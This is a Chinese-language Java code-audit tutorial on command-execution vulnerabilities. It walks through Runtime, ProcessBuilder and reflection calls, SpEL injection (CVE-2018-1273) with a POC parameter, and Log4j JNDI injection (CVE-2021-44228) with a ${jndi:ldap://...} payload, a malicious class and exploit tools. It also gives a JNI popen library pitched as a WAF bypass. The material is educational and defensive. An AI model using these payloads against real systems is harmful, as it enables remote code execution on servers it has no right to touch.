1. 漏洞原理
因用户输入未过滤或净化不完全,导致Web应用程序接收用户输入,拼接到要执行的系统命令中执行。一旦攻击者可以在目标服务器中执行任意系统命令,就意味着服务器已被非法控制。
2. 审计中常用函数
在Java中可用于执行系统命令的方式有API有:
-
java.lang.Runtime
-
java.lang.ProcessBuilder
-
java.lang.ProcessImpl
2.1 java.lang.Runtime
java.lang.Runtime中提供了getRuntime()内置方法获取类实例。在java中用到最多的就是java.lang.Runtime#exec()来命令执行。
例1:
public class Demo {
public static void main(String[] args) throws Exception {
String command = "calc";
Runtime.getRuntime().exec(command);
}
}
例2:
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Demo {
public static void main(String[] args) throws Exception {
String command = "ping XXX.dnslog.cn";
Process proc = Runtime.getRuntime().exec(command); //打印执行结果
InputStream in = proc.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(in, "UTF8"));
String line = null;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
}
}
命令执行过程分析:
Runtime#exec()调用链:
根据系统类型区分底层要调用的方法,由于本测试环境为类Unix系统,这里调用Java_java_lang_UNIXProcess_forkAndExec方法,forkAndExec调用操作系统级别执行命令并返回进程PID。
详细参考官方文档:https://docs.oracle.com/javase/7/docs/api/java/lang/Runtime.html#exec
2.2 java.lang.ProcessBuilder
ProcessBuilder类是JDK1.5在java.lang中新添加的一个类,用于创建操作系统进程。通常使用 java.lang.ProcessBuilder#start()来启动和管理进程。
例1:
public class Demo {
public static void main(String[] args){
try {
new ProcessBuilder("calc").start();
} catch (Exception e) {
System.out.println(e.toString());
}
}
}
2.3 java.lang.ProcessImpl
ProcessImpl类通常是为ProcessBuilder.start()创建新进程服务的,不能直接去调用。看到ProcessImpl类构造器私有,所以不能直接对其进行实例化,为了演示可以用反射。
调用案例1:
在获取到一个静态方法后,必须用 setAccessible 修改它的作用域,否则不能调用。
public class Demo {
public static void main(String[] args){
try {
String[] cmds = {"calc"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start",
new String[]{}.getClass(),
Map.class,String.class,
ProcessBuilder.Redirect[].class,
boolean.class);
method.setAccessible(true);
method.invoke(null,cmds,null,".",null,true);
} catch (Exception e) {
System.out.println(e.toString());
}
}
}
调用方法一:通过java.lang.Runtime类内部方法getRuntime()获取当前实例。
Class clazz = Class.forName("java.lang.Runtime");
clazz.getMethod("exec",
String.class).invoke(clazz.getMethod("getRuntime").invoke(clazz),
"calc.exe");
调用方法二:反射获取私有构造函数,用 setAccessible 修改它的作用域。
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc");
反射调用静态方法:由于静态方法不属于任何对象,只属于类本身,所以使用invoke时不需要传实例对象。
总结:注意利用反射机制调用命令API时是否具有访问权限的问题。
调用案例2:
使用ProcessBuilder.start()执行"ifconfig -a"命令。
参考官方ProcessBuilder构造函数,可以接收字符串List或字符串可变长数组。
调用执行有参数命令方法:
InputStream in = new ProcessBuilder("ifconfig","-a").start();
3. 相关漏洞案例
3.1 SpEL表达式注入执行代码
SpEL(Spring Expression Language),即Spring表达式语言,是比JSP的EL更强大 的一种表达式语言。从Spring 3开始引入了Spring表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。SpEL是单独模块,以API接口的形式创建,所以允许将其集成到其他应用程序和框架中。
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-expression</artifactId>
<version>5.0.2.RELEASE</version>
</dependency>
#{}符号是SpEL的定界符,所有在大括号中的字符都将被认为是SpEL表达式。
例1:代码块中使用SpEL表达式执行代码
public static void test1(){
// 第一步 创建解析器:SpEL使用ExpressionParser接口表示解析器,提供SpelExpressionParser默认实现
ExpressionParser parser = new SpelExpressionParser();
// 第二步 解析表达式:使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象,这里调用concat方法进行拼接
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
// 第三步 构造上下文:准备比如变量定义等等表达式需要的上下文数据
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
// 第四步 求值:通过Expression接口的getValue方法根据上下文获得表达式值
System.out.println(expression.getValue(context));
}
EvaluationContext 表示上下文环境,系统提供了2个 EvaluationContext 接口实现类:
• SimpleEvaluationContext:仅支持SpEL语言语法的一个子集,不包括Java类型引用、构造函数和bean引用
• StandardEvaluationContext:支持全部SpEL语法,在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext
例2:通过类型表达式T(Type)操作类
T(Type)运算符会调用类的作用域和方法。注:SpEL内置了 java.lang 包下的类声明。
// java.lang 包类访问
Class<String> result1 = parser.parseExpression("T(String)").getValue(Class.class);
System.out.println(result1); // class java.lang.String
漏洞原理:
SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。在不指定 EvaluationContext 的情况下默认采用的是 StandardEvaluationContext,而它包含了SpEL的所有功能,允许用户在可以控制输入的情况下成功造成任意代码执行。
例3:通过控制SpEL表达式执行命令
String expression2 = "T(java.lang.Runtime).getRuntime().exec('open /Applications/Calculator.app')";
Class<Object> result2 = parser.parseExpression(expression2).
getValue(Class.class);
System.out.println(result2);
命令执行过程分析:
CVE-2018-1273漏洞复现:
Spring Data Commons中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
漏洞环境搭建:
开源项目地址 https://github.com/spring-projects/spring-data-examples/
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.0.RELEASE</version>
</parent>
将jdk版本换成8,启动web[spring-data-web-example]
POC代码:
this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")]=&password=&repeatedPassword=
漏洞原理分析:
调试过程中发现该方法会处理所有GET/POST请求的参数名与参数值,且当propertyName值为Controller类中处理该请求的方法的形参对应的类中属性名时,才会进入上图中的else分支。
1、首先看example.users.web.UserController#register方法如下,可以看到该方法是处理请求地址为/users的POST请求,看到其有一个类型为UserForm的形参。
2、但当propertyName值为username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“calc.exe”)]时,也可以进入else分支,因此通过单步执行if判断里面的代码后发现在org.springframework.data.web.MapDataBinder.MapPropertyAccessor#getPropertyPath方法中,其在处理propertyName值时,会将“[]”中包含的字符包括“[]”去除后再与UserForm类中的属性值做对比,因此可以校验成功进入后面的else分支。
可以看到先是使用propertyName值创建了一个Expression对象,然后后面调用expression.setValue()方法时,传入的Context对象类型为StandardEvaluationContext,可解析任意SpEL,因此造成任意命令执行。
漏洞修复补丁:
常规修复措施,将StandardEvaluationContext替代为SimpleEvaluationContext。
https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
3.2 JNDI注入执行任意代码
Java命名和目录接口(JNDI)是一种Java API,类似于一个索引中心,它允许客户端通过name发现和查找数据和对象。
常见代码:
String jndiName= "XXX";//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据
这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP),域名服务(DNS)。
JNDI注入:当上文代码中jndiName这个变量可控时,引发的漏洞,它将导致远程class文件加载,从而导致远程代码执行。
CVE-2021-44228漏洞复现
Log4j2 是一个 Log4j 1.x 的重写,并且引入了大量丰富的特性。该日志框架被大量用于业务系 统开发,用来记录日志信息。由于其优异的性能而被广泛的应用于各种常见的 Web 服务中。攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞,当程序将用户输入的数据进行日志记录时, 即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
POC格式:
${jndi:XX://XX.XX.XX.XX:XX/XX}
EvilCurl.java恶意类:
public class EvilCurl {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
EvilCurl evilClass=new EvilCurl();
}
}
漏洞复现方式1:
工具地址:https://github.com/mbechler/marshalsec
(1)开启一个python的http web服务,其目的就是就是web形式公布出去
(2)开启一个监控工具去到利用http服务以web形式加载恶意类
(3)搭建log4j的poc进行复现,触发漏洞环境,进而执行恶意代码
logger.error("${jndi:ldap://127.0.0.1:8801/EvilCalc1}");
漏洞复现方式2:
工具地址:https://github.com/welk1n/JNDI-Injection-Exploit
(1)通过JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar去监听靶场请求的端口并远程加载恶意类
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
(2)触发漏洞,会发现成功的加载了恶意代码
4. 知识扩展
Java可以通过JNI构建动态链接库执行命令,该特性从JDK1.1开始就支持了。
优势:代码相对底层,实战中可用绕过一些waf拦截。
JNI(Java Native Interface)实现了java程序和native方法之间的双向交互,JNI允许Java代码使用以其他语言编写的代码和代码库。动态链接库(Dynamic-link library):windows下动态链接库是windows系统中模块化的函数库,通常扩展名是 .DLL 、 .OCX 或者 .DRV 。不同平台中的动态链接库使用不同的后缀,如:linux/unix平台中是 .so 文件,mac os x平台中是 .jnilib 文件。Native方法:原生函数,在java中使用native关键字声明,使用C/C++语言实现的,被编译成DLL或其他库类型,由Java去调用。
练习:按JNI开发流程,编写实现JNI调用C++执行任意命令。
(1) 编写Java类声明Native方法,并编译为可执行文件
public class Hello {
public static native String exec(String cmd);
}
(2) 生成 .h 头文件
头文件声明的方法名为 Java_包名_类名_方法名。
javah -jni java类名
(3) C++ 实现Native方法,实现头文件,即创建 .cpp 源文件
using namespace std;
JNIEXPORT jstring
JNICALL Java_Hello_exec
(JNIEnv *env, jclass jclass, jstring str) {
if (str != NULL) {
jboolean jsCopy;
// 将jstring参数转成char指针
const char *cmd = env->GetStringUTFChars(str, &jsCopy);
// 使用popen函数执行系统命令
FILE *fd = popen(cmd, "r");
if (fd != NULL) {
// 返回结果字符串
string result;
// 定义字符串数组
char buf[128];
// 读取popen函数的执行结果
while (fgets(buf, sizeof(buf), fd) != NULL) {
// 拼接读取到的结果到result
result +=buf;
}
// 关闭popen
pclose(fd);
// 返回命令执行结果给Java
return env->NewStringUTF(result.c_str());
}
}
return NULL;
}
(4) 根据相应平台生成动态链接库
通过源文件生成 JNI(动态链接库):
命令格式:
gcc -I /JDK路径/include/ -I /JDK路径/include/darwin/ -dynamiclib 源文件名.cpp -o jni
文件名.jnilib
例如:
gcc -I /Library/Java/JavaVirtualMachines/jdk1.8.0_20.jdk/Contents/Home/include -I
/Library/Java/JavaVirtualMachines/jdk1.8.0_20.jdk/Contents/Home/include/darwin -
dynamiclib Hello.cpp -o libhello.jnilib -lstdc++
运行 Java 程序:
public class Exec {
public static void main(String[] args){
System.load("libhello.jnilib");
System.out.println(Hello.exec("calc"));
}
}
回顾过程:
原文始发于微信公众号(ZackSecurity):【Java代码审计】命令执行漏洞审计
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论